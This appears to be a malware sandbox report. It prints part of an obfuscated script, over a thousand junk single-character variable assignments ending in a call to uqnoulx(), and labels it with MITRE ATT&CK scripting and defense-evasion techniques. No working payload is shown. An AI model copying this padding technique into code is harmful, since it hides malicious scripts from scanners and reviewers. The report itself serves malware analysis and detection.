289	uwaif = "y";
290	uwaif = "q";
291	uwaif = "D";
292	uwaif = "e";
293	uwaif = "E";
294	fzpxwn = "M";
295	fzpxwn = "j";
296	fzpxwn = "b";
297	fzpxwn = "x";
298	fzpxwn = "z";
299	fzpxwn = "F";
300	fzpxwn = "W";
301	fzpxwn = "r";
302	fzpxwn = "z";
303	fzpxwn = "G";
304	fzpxwn = "T";
305	fzpxwn = "f";
306	fzpxwn = "q";
307	fzpxwn = " ";
308	hsxqfz = "p";
309	hsxqfz = "T";
310	hsxqfz = "n";
311	hsxqfz = "s";
312	hsxqfz = "u";
313	hsxqfz = "S";
314	hsxqfz = "o";
315	hsxqfz = "U";
316	hsxqfz = "N";
317	hsxqfz = "O";
318	hsxqfz = "Q";
319	hsxqfz = "d";
320	hsxqfz = "I";
321	hsxqfz = "t";
322	hsxqfz = "c";
323	hsxqfz = "K";
324	hsxqfz = "G";
325	hsxqfz = "C";
326	hsxqfz = "R";
327	hsxqfz = "t";
328	hsxqfz = "C";
329	hsxqfz = "r";
330	hsxqfz = "f";
331	hsxqfz = "r";
332	hsxqfz = "r";
333	hsxqfz = "V";
334	hsxqfz = "Y";
335	hsxqfz = "A";
336	hsxqfz = "O";
337	hsxqfz = "w";
338	hsxqfz = "U";
339	hsxqfz = "T";
340	hsxqfz = "e";
341	hsxqfz = "S";
342	ycbjqoo = "b";
343	ycbjqoo = "X";
344	ycbjqoo = "R";
345	ycbjqoo = "R";
346	ycbjqoo = "S";
347	ycbjqoo = "l";
348	ycbjqoo = "r";
349	ycbjqoo = "n";
350	ycbjqoo = "W";
351	ycbjqoo = "F";
352	ycbjqoo = "X";
353	ycbjqoo = "v";
354	ycbjqoo = "t";
355	ycbjqoo = "G";
356	ycbjqoo = "q";
357	ycbjqoo = "S";
358	ycbjqoo = "N";
359	ycbjqoo = "X";
360	ycbjqoo = "I";
361	ycbjqoo = "f";
362	ycbjqoo = "Q";
363	ycbjqoo = "F";
364	ycbjqoo = "C";
365	ycbjqoo = "T";
366	ycbjqoo = "R";
367	ycbjqoo = "o";
368	ycbjqoo = "g";
369	ycbjqoo = "Y";
370	ycbjqoo = "S";
371	ycbjqoo = "M";
372	ycbjqoo = "r";
373	ycbjqoo = "w";
374	kytguprfy = "k";
375	kytguprfy = "P";
376	jwinxllz = "a";
377	jwinxllz = "A";
378	jwinxllz = "B";
379	jwinxllz = "A";
380	jwinxllz = "A";
381	jwinxllz = "e";
382	jwinxllz = "H";
383	jwinxllz = "I";
384	jwinxllz = "e";
385	jwinxllz = "u";
386	jwinxllz = "D";
387	jwinxllz = "s";
388	jwinxllz = "n";
389	jwinxllz = "W";
390	jwinxllz = "x";
391	almvmcc = "Y";
392	almvmcc = "f";
393	almvmcc = "i";
394	almvmcc = "Y";
395	almvmcc = "P";
396	almvmcc = "m";
397	almvmcc = "K";
398	dhaugaoot = "m";
399	dhaugaoot = "F";
400	dhaugaoot = "M";
401	dhaugaoot = "C";
402	dhaugaoot = "r";
403	dhaugaoot = "D";
404	dhaugaoot = "k";
405	dhaugaoot = "d";
406	dhaugaoot = "P";
407	dhaugaoot = "H";
408	dhaugaoot = "V";
409	dhaugaoot = "f";
410	dhaugaoot = "g";
411	dhaugaoot = "y";
412	dhaugaoot = "r";
413	dhaugaoot = "z";
414	dhaugaoot = "H";
415	dhaugaoot = "I";
416	dhaugaoot = "U";
417	dhaugaoot = "o";
418	dhaugaoot = "Z";
419	dhaugaoot = "e";
420	dhaugaoot = "z";
421	dhaugaoot = "M";
422	dhaugaoot = "D";
423	dhaugaoot = "q";
424	dhaugaoot = "n";
425	dhaugaoot = "n";
426	dhaugaoot = "F";
427	dhaugaoot = "M";
428	dhaugaoot = "O";
429	dhaugaoot = "Z";
430	dhaugaoot = "m";
431	dhaugaoot = "P";
432	dhaugaoot = "P";
433	dhaugaoot = "G";
434	dhaugaoot = "z";
435	dhaugaoot = "J";
436	dhaugaoot = "r";
437	dhaugaoot = "7";
438	mcmgqgd = "d";
439	mcmgqgd = "O";
440	mcmgqgd = "J";
441	mcmgqgd = "b";
442	mcmgqgd = "u";
443	synggowmh = "A";
444	synggowmh = "a";
445	synggowmh = "f";
446	synggowmh = "q";
447	vwkffjca = "a";
448	vwkffjca = "K";
449	vwkffjca = "d";
450	vwkffjca = "G";
451	vwkffjca = "w";
452	vwkffjca = "j";
453	vwkffjca = "K";
454	vwkffjca = "E";
455	vwkffjca = "q";
456	vwkffjca = "b";
457	vwkffjca = "n";
458	vwkffjca = "D";
459	vwkffjca = "X";
460	vwkffjca = "C";
461	vwkffjca = "B";
462	vwkffjca = "u";
463	vwkffjca = "d";
464	vwkffjca = "V";
465	vwkffjca = "y";
466	vwkffjca = "n";
467	vwkffjca = "a";
468	vwkffjca = "r";
469	vwkffjca = "V";
470	vwkffjca = "y";
471	vwkffjca = "j";
472	vwkffjca = "x";
473	vwkffjca = "r";
474	vwkffjca = "t";
475	vwkffjca = "q";
476	vwkffjca = "C";
477	vwkffjca = "L";
478	vwkffjca = "T";
479	vwkffjca = ".";
480	lsypfgy = "O";
481	lsypfgy = "R";
482	lsypfgy = "H";
483	lsypfgy = "I";
484	gjutw = "R";
485	gjutw = "R";
486	gjutw = "K";
487	gjutw = "H";
488	gjutw = "i";
489	gjutw = "m";
490	gjutw = "c";
491	gjutw = "F";
492	gjutw = "i";
493	gjutw = "w";
494	gjutw = "a";
495	gjutw = "j";
496	gjutw = "A";
497	gjutw = "b";
498	gjutw = "p";
499	gjutw = "d";
500	gjutw = "l";
501	gjutw = "Q";
502	gjutw = "Q";
503	gjutw = "v";
504	gjutw = "B";
505	gjutw = "_";
506	pvpsbjs = "Z";
507	pvpsbjs = "c";
508	pvpsbjs = "q";
509	pvpsbjs = "u";
510	pvpsbjs = "e";
511	pvpsbjs = "l";
512	pvpsbjs = "u";
513	pvpsbjs = "R";
514	pvpsbjs = "X";
515	pvpsbjs = "y";
516	pvpsbjs = "v";
517	pvpsbjs = "V";
518	pvpsbjs = "j";
519	pvpsbjs = "T";
520	pvpsbjs = "U";
521	pvpsbjs = "G";
522	pvpsbjs = "&";
523	xxdtpxqyy = "F";
524	xxdtpxqyy = "I";
525	xxdtpxqyy = "N";
526	xxdtpxqyy = "k";
527	xxdtpxqyy = "C";
528	xxdtpxqyy = "w";
529	xxdtpxqyy = "k";
530	xxdtpxqyy = "E";
531	xxdtpxqyy = "c";
532	xxdtpxqyy = "D";
533	xxdtpxqyy = "w";
534	xxdtpxqyy = "K";
535	xxdtpxqyy = "w";
536	xxdtpxqyy = "S";
537	xxdtpxqyy = "B";
538	xxdtpxqyy = "g";
539	xxdtpxqyy = "W";
540	xxdtpxqyy = "L";
541	xxdtpxqyy = "d";
542	xxdtpxqyy = "H";
543	xxdtpxqyy = "J";
544	xxdtpxqyy = "v";
545	xxdtpxqyy = "D";
546	xxdtpxqyy = "U";
547	xxdtpxqyy = "V";
548	xxdtpxqyy = "h";
549	xxdtpxqyy = "h";
550	fkqkmuvt = "r";
551	fkqkmuvt = "z";
552	fkqkmuvt = "v";
553	fkqkmuvt = "x";
554	fkqkmuvt = "B";
555	fkqkmuvt = "w";
556	fkqkmuvt = "W";
557	fkqkmuvt = "j";
558	fkqkmuvt = "H";
559	fkqkmuvt = "Y";
560	fkqkmuvt = "y";
561	fkqkmuvt = "I";
562	fkqkmuvt = "o";
563	fkqkmuvt = "e";
564	fkqkmuvt = "k";
565	fkqkmuvt = "i";
566	fkqkmuvt = "Y";
567	fkqkmuvt = "L";
568	fkqkmuvt = "f";
569	fkqkmuvt = "q";
570	fkqkmuvt = "y";
571	fkqkmuvt = "F";
572	fkqkmuvt = "e";
573	fkqkmuvt = "M";
574	fkqkmuvt = "t";
575	fkqkmuvt = "X";
576	fkqkmuvt = "D";
577	fkqkmuvt = "o";
578	fkqkmuvt = "a";
579	fkqkmuvt = "d";
580	fkqkmuvt = "E";
581	fkqkmuvt = "g";
582	fkqkmuvt = "i";
583	fkqkmuvt = "y";
584	fkqkmuvt = "Y";
585	fkqkmuvt = "g";
586	fkqkmuvt = "O";
587	fkqkmuvt = "H";
588	fkqkmuvt = "g";
589	fkqkmuvt = "3";
590	popndn = "t";
591	popndn = "J";
592	popndn = "O";
593	popndn = "T";
594	popndn = "y";
595	popndn = "b";
596	popndn = "H";
597	popndn = "d";
598	popndn = "Y";
599	popndn = "S";
600	popndn = "L";
601	popndn = "S";
602	popndn = "t";
603	popndn = "V";
604	popndn = "V";
605	popndn = "n";
606	popndn = "Y";
607	popndn = "Z";
608	popndn = "Y";
609	popndn = "h";
610	popndn = "X";
611	popndn = "G";
612	popndn = "h";
613	popndn = "a";
614	popndn = "V";
615	popndn = "W";
616	popndn = "C";
617	popndn = "o";
618	popndn = "j";
619	popndn = "J";
620	popndn = "k";
621	popndn = "M";
622	popndn = "o";
623	popndn = "c";
624	popndn = "C";
625	popndn = "v";
626	popndn = "X";
627	popndn = "p";
628	popndn = "D";
629	popndn = "F";
630	popndn = "T";
631	popndn = "C";
632	popndn = "l";
633	kxagram = "D";
634	kxagram = "Z";
635	kxagram = "L";
636	kxagram = "r";
637	kxagram = "J";
638	kxagram = "Y";
639	kxagram = "b";
640	kxagram = "m";
641	kxagram = "a";
642	kxagram = "m";
643	kxagram = "F";
644	kxagram = "z";
645	kxagram = "E";
646	kxagram = "Y";
647	kxagram = "B";
648	kxagram = "R";
649	kxagram = "t";
650	kxagram = "n";
651	kxagram = "Z";
652	kxagram = "A";
653	kxagram = "q";
654	kxagram = "x";
655	kxagram = "p";
656	kxagram = "d";
657	kxagram = "c";
658	kxagram = "j";
659	kxagram = "h";
660	kxagram = "l";
661	kxagram = "A";
662	kxagram = "e";
663	kxagram = "w";
664	kxagram = "o";
665	kxagram = "e";
666	kxagram = "g";
667	kxagram = "B";
668	kxagram = "e";
669	kxagram = "d";
670	rwfqrd = "b";
671	rwfqrd = "J";
672	rwfqrd = "Q";
673	rwfqrd = "k";
674	rwfqrd = "I";
675	rwfqrd = "N";
676	rwfqrd = "Y";
677	rwfqrd = "x";
678	rwfqrd = "J";
679	rwfqrd = "s";
680	rwfqrd = "G";
681	rwfqrd = "N";
682	rwfqrd = "b";
683	rwfqrd = "N";
684	rwfqrd = "Q";
685	rwfqrd = "V";
686	rwfqrd = "b";
687	rwfqrd = "v";
688	rwfqrd = "z";
689	rwfqrd = "q";
690	rwfqrd = "n";
691	rwfqrd = "k";
692	rwfqrd = "n";
693	rwfqrd = "V";
694	rwfqrd = "T";
695	rwfqrd = "R";
696	rwfqrd = "I";
697	rwfqrd = "B";
698	rwfqrd = "o";
699	rwfqrd = "s";
700	rwfqrd = "X";
701	rwfqrd = "Q";
702	rwfqrd = "m";
703	wmdgvs = "h";
704	wmdgvs = "H";
705	wmdgvs = "V";
706	wmdgvs = "H";
707	wmdgvs = "G";
708	wmdgvs = "B";
709	wmdgvs = "p";
710	wmdgvs = "P";
711	wmdgvs = "i";
712	wmdgvs = "r";
713	wmdgvs = "H";
714	wmdgvs = "S";
715	wmdgvs = "h";
716	wmdgvs = "e";
717	wmdgvs = "B";
718	wmdgvs = "D";
719	wmdgvs = "c";
720	wmdgvs = "A";
721	wmdgvs = "c";
722	wmdgvs = "q";
723	wmdgvs = "s";
724	wmdgvs = "y";
725	wmdgvs = "G";
726	wmdgvs = "P";
727	wmdgvs = "k";
728	wmdgvs = "N";
729	wmdgvs = "O";
730	wmdgvs = "C";
731	wmdgvs = "s";
732	wmdgvs = "j";
733	wmdgvs = "p";
734	wmdgvs = "p";
735	wmdgvs = "m";
736	wmdgvs = "B";
737	wmdgvs = "t";
738	wmdgvs = "H";
739	wmdgvs = "s";
740	wmdgvs = "y";
741	wmdgvs = "J";
742	wmdgvs = "a";
743	wmdgvs = "a";
744	wmdgvs = "R";
745	bbphlj = "C";
746	bbphlj = "Y";
747	bbphlj = "N";
748	bbphlj = "W";
749	bbphlj = "p";
750	bbphlj = "u";
751	bbphlj = "g";
752	bbphlj = "k";
753	bbphlj = "b";
754	bbphlj = "V";
755	bbphlj = "u";
756	bbphlj = "Q";
757	bbphlj = "L";
758	bbphlj = "R";
759	bbphlj = "M";
760	bbphlj = "t";
761	bbphlj = "Y";
762	bbphlj = "P";
763	bbphlj = "T";
764	bbphlj = "g";
765	bbphlj = "c";
766	bbphlj = "U";
767	bbphlj = "G";
768	bbphlj = "i";
769	bbphlj = "X";
770	bbphlj = "f";
771	bbphlj = "p";
772	bbphlj = "v";
773	bbphlj = "t";
774	bbphlj = "b";
775	bbphlj = "R";
776	bbphlj = "h";
777	bbphlj = "S";
778	bbphlj = "Q";
779	bbphlj = "G";
780	bbphlj = "J";
781	bbphlj = "X";
782	bbphlj = "r";
783	bbphlj = "V";
784	bbphlj = "M";
785	bbphlj = "l";
786	bbphlj = "D";
787	bbphlj = "e";
788	wjcumfws = "V";
789	wjcumfws = "T";
790	wjcumfws = "Q";
791	wjcumfws = "q";
792	wjcumfws = "w";
793	wjcumfws = "n";
794	wjcumfws = "a";
795	wjcumfws = "c";
796	wjcumfws = "Y";
797	wjcumfws = "D";
798	wjcumfws = "S";
799	wjcumfws = "h";
800	wjcumfws = "N";
801	wjcumfws = "A";
802	wjcumfws = "v";
803	wjcumfws = "t";
804	wjcumfws = "d";
805	wjcumfws = "j";
806	wjcumfws = "Y";
807	wjcumfws = "N";
808	wjcumfws = "r";
809	wjcumfws = "T";
810	wjcumfws = "z";
811	wjcumfws = "H";
812	wjcumfws = "u";
813	wjcumfws = "M";
814	wjcumfws = "v";
815	wjcumfws = "K";
816	wjcumfws = "Q";
817	wjcumfws = "P";
818	wjcumfws = "V";
819	wjcumfws = "f";
820	wjcumfws = "R";
821	wjcumfws = "L";
822	wjcumfws = "Y";
823	wjcumfws = "m";
824	wjcumfws = "d";
825	wjcumfws = "k";
826	wjcumfws = "o";
827	wjcumfws = "p";
828	wjcumfws = "L";
829	wjcumfws = "Z";
830	wjcumfws = "J";
831	wjcumfws = "O";
832	sbyeumo = "D";
833	sbyeumo = "n";
834	sbyeumo = "b";
835	sbyeumo = "b";
836	sbyeumo = "W";
837	sbyeumo = "b";
838	sbyeumo = "j";
839	sbyeumo = "e";
840	sbyeumo = "L";
841	sbyeumo = "k";
842	sbyeumo = "l";
843	sbyeumo = "H";
844	sbyeumo = "U";
845	sbyeumo = "e";
846	sbyeumo = "Y";
847	sbyeumo = "t";
848	sbyeumo = "y";
849	sbyeumo = "w";
850	sbyeumo = "r";
851	sbyeumo = "m";
852	sbyeumo = "x";
853	sbyeumo = "k";
854	sbyeumo = "i";
855	sbyeumo = "p";
856	sbyeumo = "a";
857	sbyeumo = "U";
858	sbyeumo = "h";
859	sbyeumo = "L";
860	sbyeumo = "n";
861	sbyeumo = "0";
862	jmkwd = "e";
863	jmkwd = "n";
864	jmkwd = "w";
865	jmkwd = "R";
866	jmkwd = "m";
867	jmkwd = "G";
868	jmkwd = "E";
869	jmkwd = "T";
870	jmkwd = "w";
871	jmkwd = "n";
872	jmkwd = "A";
873	jmkwd = "M";
874	jmkwd = "T";
875	jmkwd = "T";
876	jmkwd = "D";
877	jmkwd = "J";
878	jmkwd = "k";
879	jmkwd = "e";
880	jmkwd = "a";
881	jmkwd = "k";
882	jmkwd = "R";
883	jmkwd = "M";
884	jmkwd = "m";
885	jmkwd = "u";
886	jmkwd = "S";
887	jmkwd = "J";
888	jmkwd = "9";
889	vghtqke = "M";
890	vghtqke = "Y";
891	vghtqke = "E";
892	vghtqke = "O";
893	vghtqke = "w";
894	vghtqke = "Z";
895	vghtqke = "h";
896	vghtqke = "J";
897	vghtqke = "u";
898	vghtqke = "u";
899	vghtqke = "W";
900	vghtqke = "E";
901	vghtqke = "l";
902	vghtqke = "A";
903	vghtqke = "k";
904	vghtqke = "X";
905	vghtqke = "V";
906	vghtqke = "g";
907	ytzhk = "d";
908	ytzhk = "z";
909	ytzhk = "F";
910	ytzhk = "s";
911	ytzhk = "V";
912	ytzhk = "F";
913	ytzhk = "g";
914	ytzhk = "O";
915	ytzhk = "V";
916	ytzhk = "D";
917	ytzhk = "w";
918	ytzhk = "C";
919	ytzhk = "D";
920	ytzhk = "t";
921	ytzhk = "R";
922	ytzhk = "s";
923	ytzhk = "L";
924	ytzhk = "z";
925	ytzhk = "j";
926	ytzhk = "Z";
927	ytzhk = "m";
928	ytzhk = "k";
929	ytzhk = "a";
930	ytzhk = "l";
931	ytzhk = "d";
932	ytzhk = "d";
933	ytzhk = "T";
934	ytzhk = "t";
935	ytzhk = "d";
936	ytzhk = "d";
937	ytzhk = "X";
938	ytzhk = "a";
939	ytzhk = "e";
940	ytzhk = "k";
941	ytzhk = "M";
942	ytzhk = "l";
943	ytzhk = "n";
944	smwrvx = "S";
945	smwrvx = "t";
946	smwrvx = "B";
947	smwrvx = "P";
948	smwrvx = "m";
949	smwrvx = "h";
950	smwrvx = "H";
951	smwrvx = "X";
952	smwrvx = "s";
953	smwrvx = "g";
954	smwrvx = "S";
955	smwrvx = "b";
956	smwrvx = "i";
957	smwrvx = "m";
958	smwrvx = "G";
959	smwrvx = "H";
960	smwrvx = "m";
961	smwrvx = "m";
962	smwrvx = "T";
963	smwrvx = "x";
964	smwrvx = "j";
965	smwrvx = "l";
966	smwrvx = "R";
967	smwrvx = "p";
968	smwrvx = "o";
969	smwrvx = "I";
970	smwrvx = "J";
971	smwrvx = "K";
972	smwrvx = "P";
973	smwrvx = "i";
974	smwrvx = "j";
975	smwrvx = "O";
976	smwrvx = "J";
977	smwrvx = "v";
978	smwrvx = "g";
979	smwrvx = "r";
980	smwrvx = "r";
981	smwrvx = "m";
982	smwrvx = "F";
983	smwrvx = "z";
984	smwrvx = "H";
985	smwrvx = "r";
986	smwrvx = "i";
987	smwrvx = ":";
988	chaynl = "B";
989	chaynl = "p";
990	chaynl = "F";
991	chaynl = "q";
992	chaynl = "A";
993	chaynl = "J";
994	chaynl = "y";
995	chaynl = "I";
996	chaynl = "W";
997	chaynl = "F";
998	cetqea = "O";
999	cetqea = "E";
1000	cetqea = "B";
1001	cetqea = "y";
1002	cetqea = "x";
1003	cetqea = "o";
1004	cetqea = "P";
1005	cetqea = "E";
1006	cetqea = "n";
1007	cetqea = "h";
1008	cetqea = "e";
1009	cetqea = "F";
1010	cetqea = "W";
1011	cetqea = "t";
1012	cetqea = "w";
1013	cetqea = "V";
1014	cetqea = "s";
1015	cetqea = "U";
1016	cetqea = "l";
1017	cetqea = "J";
1018	cetqea = "m";
1019	cetqea = "e";
1020	cetqea = "E";
1021	cetqea = "F";
1022	cetqea = "W";
1023	cetqea = "v";
1024	cetqea = "N";
1025	ikjhrotp = "G";
1026	ikjhrotp = "d";
1027	ikjhrotp = "V";
1028	ikjhrotp = "g";
1029	ikjhrotp = "a";
1030	ikjhrotp = "D";
1031	ikjhrotp = "p";
1032	ikjhrotp = "w";
1033	ikjhrotp = "Z";
1034	ikjhrotp = "T";
1035	ikjhrotp = "I";
1036	ikjhrotp = "G";
1037	ikjhrotp = "K";
1038	ikjhrotp = "T";
1039	ikjhrotp = "H";
1040	ikjhrotp = "H";
1041	ikjhrotp = "2";
1042	mpugderqw = "C";
1043	mpugderqw = "g";
1044	mpugderqw = "E";
1045	mpugderqw = "D";
1046	mpugderqw = "q";
1047	mpugderqw = "u";
1048	mpugderqw = "g";
1049	mpugderqw = "G";
1050	mpugderqw = "g";
1051	mpugderqw = "g";
1052	mpugderqw = "I";
1053	mpugderqw = "Z";
1054	mpugderqw = "r";
1055	mpugderqw = "M";
1056	mpugderqw = "l";
1057	mpugderqw = "B";
1058	mpugderqw = "a";
1059	mpugderqw = "d";
1060	mpugderqw = "L";
1061	mpugderqw = "L";
1062	mpugderqw = "I";
1063	mpugderqw = "O";
1064	mpugderqw = "q";
1065	mpugderqw = "A";
1066	mpugderqw = "i";
1067	mpugderqw = "n";
1068	mpugderqw = "Y";
1069	mpugderqw = "z";
1070	mpugderqw = "q";
1071	mpugderqw = "w";
1072	mpugderqw = "y";
1073	mpugderqw = "/";
1074	zbcddzrqp = "s";
1075	zbcddzrqp = "e";
1076	zbcddzrqp = "m";
1077	zbcddzrqp = "Q";
1078	zbcddzrqp = "q";
1079	zbcddzrqp = "\\";
1080	pygyhtpk = "n";
1081	pygyhtpk = "D";
1082	pygyhtpk = "a";
1083	pygyhtpk = "r";
1084	pygyhtpk = "J";
1085	pygyhtpk = "h";
1086	pygyhtpk = "M";
1087	pygyhtpk = "o";
1088	pygyhtpk = "g";
1089	pygyhtpk = "U";
1090	pygyhtpk = "c";
1091	pygyhtpk = "Q";
1092	pygyhtpk = "G";
1093	pygyhtpk = "r";
1094	pygyhtpk = "P";
1095	pygyhtpk = "J";
1096	pygyhtpk = "F";
1097	pygyhtpk = "b";
1098	qdtnm = "c";
1099	sqbjquys = "E";
1100	sqbjquys = "b";
1101	sqbjquys = "a";
1102	sqbjquys = "N";
1103	sqbjquys = "q";
1104	sqbjquys = "d";
1105	sqbjquys = "E";
1106	sqbjquys = "x";
1107	sqbjquys = "B";
1108	sqbjquys = "S";
1109	sqbjquys = "t";
1110	sqbjquys = "T";
1111	sqbjquys = "t";
1112	sqbjquys = "O";
1113	sqbjquys = "Y";
1114	sqbjquys = "i";
1115	sqbjquys = "p";
1116	sqbjquys = "R";
1117	sqbjquys = "K";
1118	sqbjquys = "A";
1119	sqbjquys = "D";
1120	sqbjquys = "F";
1121	sqbjquys = "z";
1122	sqbjquys = "L";
1123	rprsf = "E";
1124	rprsf = "O";
1125	rprsf = "c";
1126	rprsf = "m";
1127	rprsf = "L";
1128	rprsf = "x";
1129	rprsf = "y";
1130	rprsf = "w";
1131	rprsf = "C";
1132	rprsf = "g";
1133	rprsf = "M";
1134	rprsf = "y";
1135	rprsf = "L";
1136	rprsf = "C";
1137	rprsf = "A";
1138	rprsf = "G";
1139	rprsf = "W";
1140	wckkwjl = "T";
1141	wckkwjl = "I";
1142	wckkwjl = "Y";
1143	wckkwjl = "G";
1144	wckkwjl = "Q";
1145	wckkwjl = "n";
1146	wckkwjl = "k";
1147	wckkwjl = "f";
1148	wckkwjl = "l";
1149	wckkwjl = "Q";
1150	wckkwjl = "Q";
1151	wckkwjl = "Q";
1152	kywrzqtec = "x";
1153	kywrzqtec = "z";
1154	kywrzqtec = "A";
1155	kywrzqtec = "c";
1156	kywrzqtec = "g";
1157	kywrzqtec = "k";
1158	kywrzqtec = "L";
1159	kywrzqtec = "t";
1160	kywrzqtec = "M";
1161	kywrzqtec = "I";
1162	kywrzqtec = "a";
1163	kywrzqtec = "v";
1164	kywrzqtec = "L";
1165	kywrzqtec = "k";
1166	kywrzqtec = "O";
1167	kywrzqtec = "S";
1168	kywrzqtec = "y";
1169	kywrzqtec = "U";
1170	kywrzqtec = "A";
1171	kywrzqtec = "w";
1172	kywrzqtec = "m";
1173	kywrzqtec = "R";
1174	kywrzqtec = "P";
1175	kywrzqtec = "n";
1176	kywrzqtec = "i";
1177	kywrzqtec = "L";
1178	kywrzqtec = "C";
1179	kywrzqtec = "G";
1180	kywrzqtec = "E";
1181	kywrzqtec = "k";
1182	kywrzqtec = "x";
1183	kywrzqtec = "a";
1184	iditczjfi = "g";
1185	iditczjfi = "c";
1186	iditczjfi = "n";
1187	iditczjfi = "c";
1188	iditczjfi = "i";
1189	iditczjfi = "g";
1190	iditczjfi = "C";
1191	iditczjfi = "G";
1192	iditczjfi = "Q";
1193	iditczjfi = "K";
1194	iditczjfi = "k";
1195	iditczjfi = "F";
1196	iditczjfi = "s";
1197	iditczjfi = "P";
1198	iditczjfi = "R";
1199	iditczjfi = "R";
1200	iditczjfi = "f";
1201	iyqnrozqp = "d";
1202	iyqnrozqp = "V";
1203	iyqnrozqp = "v";
1204	iyqnrozqp = "f";
1205	iyqnrozqp = "l";
1206	iyqnrozqp = "g";
1207	iyqnrozqp = "G";
1208	iyqnrozqp = "z";
1209	iyqnrozqp = "v";
1210	iyqnrozqp = "h";
1211	iyqnrozqp = "H";
1212	iyqnrozqp = "r";
1213	iyqnrozqp = "e";
1214	iyqnrozqp = "D";
1215	iyqnrozqp = "u";
1216	iyqnrozqp = "%";
1217	gzbfuzth = "Z";
1218	gzbfuzth = "X";
1219	gzbfuzth = "G";
1220	gzbfuzth = "U";
1221	gzbfuzth = "P";
1222	gzbfuzth = "d";
1223	gzbfuzth = "T";
1224	gzbfuzth = "o";
1225	gzbfuzth = "e";
1226	gzbfuzth = "A";
1227	gzbfuzth = "A";
1228	gzbfuzth = "v";
1229	gzbfuzth = "z";
1230	gzbfuzth = "e";
1231	gzbfuzth = "K";
1232	gzbfuzth = "z";
1233	gzbfuzth = "y";
1234	gzbfuzth = "F";
1235	gzbfuzth = "X";
1236	gzbfuzth = "i";
1237	gzbfuzth = "k";
1238	gzbfuzth = "d";
1239	gzbfuzth = "n";
1240	gzbfuzth = "P";
1241	gzbfuzth = "e";
1242	gzbfuzth = "q";
1243	gzbfuzth = "F";
1244	gzbfuzth = "x";
1245	gzbfuzth = "l";
1246	gzbfuzth = "e";
1247	gzbfuzth = "M";
1248	gzbfuzth = "S";
1249	gzbfuzth = "U";
1250	gzbfuzth = "n";
1251	gzbfuzth = "I";
1252	gzbfuzth = "W";
1253	gzbfuzth = "z";
1254	gzbfuzth = "g";
1255	gzbfuzth = "O";
1256	gzbfuzth = "s";
1257	mlsctlkef = "l";
1258	mlsctlkef = "e";
1259	mlsctlkef = "J";
1260	mlsctlkef = "Z";
1261	mlsctlkef = "x";
1262	mlsctlkef = "J";
1263	mlsctlkef = "c";
1264	mlsctlkef = "j";
1265	mlsctlkef = "W";
1266	mlsctlkef = "p";
1267	mlsctlkef = "U";
1268	mlsctlkef = "C";
1269	mlsctlkef = "T";
1270	pnaghev = "N";
1271	pnaghev = "R";
1272	pnaghev = "o";
1273	pnaghev = "i";
1274	pnaghev = "N";
1275	pnaghev = "Z";
1276	pnaghev = "h";
1277	pnaghev = "L";
1278	pnaghev = "g";
1279	pnaghev = "c";
1280	pnaghev = "B";
1281	pnaghev = "L";
1282	pnaghev = "q";
1283	pnaghev = "P";
1284	pnaghev = "C";
1285	pnaghev = "M";
1286	pnaghev = "H";
1287	pnaghev = "M";
1288	pnaghev = "q";
1289	pnaghev = "g";
1290	pnaghev = "q";
1291	pnaghev = "J";
1292	pnaghev = "s";
1293	pnaghev = "r";
1294	bbtdi = "D";
1295	bbtdi = "Y";
1296	bbtdi = "p";
1297	bbtdi = "o";
1298	bbtdi = "R";
1299	bbtdi = "O";
1300	bbtdi = "H";
1301	bbtdi = "B";
1302	bbtdi = "z";
1303	bbtdi = "y";
1304	bbtdi = "M";
1305	bbtdi = "q";
1306	bbtdi = "8";
1307	xjivfs = "p";
1308	xjivfs = "M";
1309	xjivfs = "A";
1310	xjivfs = "m";
1311	xjivfs = "g";
1312	xjivfs = "g";
1313	xjivfs = "W";
1314	xjivfs = "V";
1315	xjivfs = "S";
1316	xjivfs = "m";
1317	xjivfs = "j";
1318	xjivfs = "g";
1319	xjivfs = "\"";
1320	nqymkh = "F";
1321	nqymkh = "D";
1322	nqymkh = "Q";
1323	nqymkh = "w";
1324	nqymkh = "J";
1325	nqymkh = "W";
1326	nqymkh = "E";
1327	nqymkh = "x";
1328	nqymkh = "w";
1329	nqymkh = "n";
1330	nqymkh = "s";
1331	nqymkh = "R";
1332	nqymkh = "y";
1333	nqymkh = "k";
1334	nqymkh = "S";
1335	nqymkh = "u";
1336	nqymkh = "A";
1337	nqymkh = "w";
1338	nqymkh = "k";
1339	nqymkh = "k";
1340	nqymkh = "P";
1341	nqymkh = "u";
1342	nqymkh = "v";
1343	nqymkh = "V";
1344	nqymkh = "T";
1345	nqymkh = "V";
1346	nqymkh = "N";
1347	nqymkh = "l";
1348	nqymkh = "e";
1349	nqymkh = "b";
1350	nqymkh = "Q";
1351	nqymkh = "l";
1352	nqymkh = "l";
1353	nqymkh = "m";
1354	nqymkh = "L";
1355	nqymkh = "C";
1356	nqymkh = "f";
1357	nqymkh = "j";
1358	nqymkh = "f";
1359	nqymkh = "i";
1360	egxtb = "q";
1361	egxtb = "H";
1362	iupfch = "H";
1363	iupfch = "W";
1364	iupfch = "l";
1365	iupfch = "l";
1366	iupfch = "H";
1367	iupfch = "W";
1368	iupfch = "q";
1369	iupfch = "b";
1370	iupfch = "h";
1371	iupfch = "F";
1372	iupfch = "p";
1373	iupfch = "a";
1374	iupfch = "H";
1375	iupfch = "Y";
1376	iupfch = "f";
1377	iupfch = "A";
1378	iupfch = "T";
1379	iupfch = "z";
1380	iupfch = "k";
1381	iupfch = "X";
1382	iupfch = "a";
1383	iupfch = "S";
1384	iupfch = "O";
1385	iupfch = "e";
1386	iupfch = "H";
1387	iupfch = "q";
1388	iupfch = "j";
1389	iupfch = "N";
1390	iupfch = "P";
1391	iupfch = "Z";
1392	iupfch = "t";
1393	iupfch = "G";
1394	iupfch = "r";
1395	iupfch = "Z";
1396	iupfch = "a";
1397	iupfch = "5";
1398	uqnoulx ( );	uqnoulx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

